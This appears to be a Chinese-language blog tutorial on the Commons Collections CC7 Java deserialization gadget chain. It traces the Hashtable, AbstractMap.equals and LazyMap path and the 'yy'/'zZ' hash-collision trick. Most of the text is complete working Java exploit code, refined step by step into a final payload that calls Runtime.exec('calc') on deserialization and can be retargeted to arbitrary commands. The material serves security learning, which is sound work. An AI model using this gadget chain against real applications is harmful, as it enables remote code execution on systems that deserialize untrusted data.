前言
CC7和CC5类似,后半部分也是LazyMap

CC7
链子分析
我们先从链子的前半部分开始
先看入口类Hashtable,readObject方法调用了reconstitutionPut方法

reconstitutionPut方法调用了equals方法,当然也调用了hashCode方法,如果走hashCode的话又回到了CC6

往下调用了LazyMap类的equals方法,但是LazyMap类并没有equals方法,实际上是调用了LazyMap的父类AbstractMapDecorator的equals方法


这里比较了两个key的引用,如果不是同一对象则会再次调用equals方法,map是通过LazyMap传递的,LazyMap链中用decorate方法将HashMap传给了map,所以这里会调用HashMap的equals方法

HashMap没有equals方法,但是继承了AbstractMap抽象类,这个类有equals方法



AbstractMap类的equals方法调用了get方法,这样整条链子就接上了
构造Exp
后半段链子
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 
 | import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;
 import org.apache.commons.collections.functors.ConstantTransformer;
 import org.apache.commons.collections.functors.InvokerTransformer;
 import org.apache.commons.collections.map.LazyMap;
 
 import javax.xml.ws.spi.Invoker;
 import java.lang.reflect.InvocationTargetException;
 import java.lang.reflect.Method;
 import java.util.AbstractMap;
 import java.util.HashMap;
 import java.util.Hashtable;
 import java.util.Map;
 
 public class CC7Exp {
 public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
 Transformer[] transformers = new Transformer[] {
 new ConstantTransformer(Runtime.class),
 new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
 new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
 new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
 };
 ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
 HashMap<Object,Object> hashMap = new HashMap();
 Map decoratedMap = LazyMap.decorate(hashMap, chainedTransformer);
 
 }
 }
 
 | 
结合入口类
Hashtable类的reconstitutionPut方法

这里对传进去的Entry对象数组进行了循环,逐个调用e.key.equals(key),这里的key如果可控,那么AbstractMap.equals中的m也是可控的
我们直接将decorateMap传入key
| 12
 
 | Hashtable hashtable = new Hashtable();hashtable.put(decoratedMap, "p0l1st");
 
 | 
Hashtable.readObject()方法中的key和value实际上就是通过Hashtable.put()方法放进去的键值对

然后进行序列化反序列化
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 
 | import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;
 import org.apache.commons.collections.functors.ConstantTransformer;
 import org.apache.commons.collections.functors.InvokerTransformer;
 import org.apache.commons.collections.map.LazyMap;
 
 
 import java.io.*;
 import java.lang.reflect.InvocationTargetException;
 import java.util.HashMap;
 import java.util.Hashtable;
 import java.util.Map;
 
 public class CC7Exp {
 public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException, ClassNotFoundException {
 Transformer[] transformers = new Transformer[]{
 new ConstantTransformer(Runtime.class),
 new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
 new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
 };
 ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
 HashMap<Object, Object> hashMap = new HashMap();
 Map decoratedMap = LazyMap.decorate(hashMap, chainedTransformer);
 
 Hashtable hashtable = new Hashtable();
 hashtable.put(decoratedMap, "p0l1st");
 
 serialize(hashtable);
 unserialize("ser.bin");
 
 }
 
 public static void serialize(Object obj) throws IOException {
 ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
 oos.writeObject(obj);
 }
 
 public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
 ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
 Object obj = ois.readObject();
 return obj;
 
 }
 }
 
 | 
但是却没有弹计算器
在AbstractMap类的equals方法打个断点,发现根本没执行到这里

看看yso的链子

相比之下
- 多了一个map
- 两次put,key分别是yy和zZ
- 最后remove了yy
为什么要调用两次put?
Hashtable的reconstitutionPut方法是被遍历调用的,第一次调用的时候,并不会走到reconstitutionPut方法的for循环里面,因为tab[index]的内容是空的,在下面会对tab[index]进行赋值

第二次调用reconstitutionPut时,tab才有值,才能进入for循环从而调用equals
为什么两次put的key分别为yy和zZ?
第二次调用reconstitutionPut进入for循环的时候,此时的e是从tab中取出的lazyMap1,然后进入判断,需要满足e.hash == hash才能走到e.key.equals方法中。这里判断要求取出来的lazyMap1对象的hash值要等于现在对象lazyMap2的hash值,这里的hash值是通过lazyMap对象中的key.hashCode得到的,也就是说lazyMap1的hash值就是"yy".hashCode(),lazyMap2的hash值就是"zZ".hashCode(),而在Java中有一个小bug
| 1
 | "yy".hashCode() == "zZ".hashCode()
 | 
yy和zZ由hashCode计算出来的值是一样的,所以我们需要将map中put的值设置为yy和zZ,这样才能走到e.key.equals中
为什么调用完Hashtable.put后,还需要remove掉yy?
这是因为Hashtable.put实际上也会调用到equals方法
当调用完equals方法后,lazyMap2的key就会增加一个yy键

这就不能满足hash碰撞了,构造序列化链的时候是满足的,但是构造完之后就不满足了,那么经过反序列化也不满足hash碰撞了,也就不会执行命令,所以构造完序列化链之后需要手动删除这多出来的一组键值对
Exp应该是这样的
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 
 | import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;
 import org.apache.commons.collections.functors.ConstantTransformer;
 import org.apache.commons.collections.functors.InvokerTransformer;
 import org.apache.commons.collections.map.LazyMap;
 
 
 import java.io.*;
 import java.lang.reflect.InvocationTargetException;
 import java.util.HashMap;
 import java.util.Hashtable;
 import java.util.Map;
 
 public class CC7Exp {
 public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException, ClassNotFoundException {
 Transformer[] transformers = new Transformer[]{
 new ConstantTransformer(Runtime.class),
 new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
 new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
 };
 ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
 HashMap<Object, Object> hashMap1 = new HashMap<>();
 HashMap<Object, Object> hashMap2 = new HashMap<>();
 Map decorateMap1 = LazyMap.decorate(hashMap1, chainedTransformer);
 decorateMap1.put("yy", 1);
 Map decorateMap2 = LazyMap.decorate(hashMap2, chainedTransformer);
 decorateMap2.put("zZ", 1);
 Hashtable hashtable = new Hashtable();
 hashtable.put(decorateMap1, 1);
 hashtable.put(decorateMap2, 1);
 decorateMap2.remove("yy");
 
 
 serialize(hashtable);
 unserialize("ser.bin");
 
 }
 
 public static void serialize(Object obj) throws IOException {
 ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
 oos.writeObject(obj);
 }
 
 public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
 ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
 Object obj = ois.readObject();
 return obj;
 
 }
 }
 
 | 
但是这样会弹出两个计算器,序列化的时候就会弹出一个

还是老样子先设置为常量再反射修改
Exp
最终Exp
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 
 | import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;
 import org.apache.commons.collections.functors.ConstantTransformer;
 import org.apache.commons.collections.functors.InvokerTransformer;
 import org.apache.commons.collections.map.LazyMap;
 
 
 import java.io.*;
 import java.lang.reflect.Field;
 import java.lang.reflect.InvocationTargetException;
 import java.util.HashMap;
 import java.util.Hashtable;
 import java.util.Map;
 
 public class CC7Exp {
 public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchFieldException {
 Transformer[] transformers = new Transformer[]{
 new ConstantTransformer(Runtime.class),
 new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
 new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
 };
 ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
 HashMap<Object, Object> hashMap1 = new HashMap<>();
 HashMap<Object, Object> hashMap2 = new HashMap<>();
 Map decorateMap1 = LazyMap.decorate(hashMap1, chainedTransformer);
 decorateMap1.put("yy", 1);
 Map decorateMap2 = LazyMap.decorate(hashMap2, chainedTransformer);
 decorateMap2.put("zZ", 1);
 Hashtable hashtable = new Hashtable();
 hashtable.put(decorateMap1, 1);
 hashtable.put(decorateMap2, 1);
 
 Class c = ChainedTransformer.class;
 Field field = c.getDeclaredField("iTransformers");
 field.setAccessible(true);
 field.set(chainedTransformer, transformers);
 decorateMap2.remove("yy");
 
 
 serialize(hashtable);
 unserialize("ser.bin");
 
 }
 
 public static void serialize(Object obj) throws IOException {
 ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
 oos.writeObject(obj);
 }
 
 public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
 ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
 Object obj = ois.readObject();
 return obj;
 
 }
 }
 
 | 

参考文章
Java_Commons-Collections 7(CC7) 学习过程
Java反序列化Commons-Collections篇08-CC7链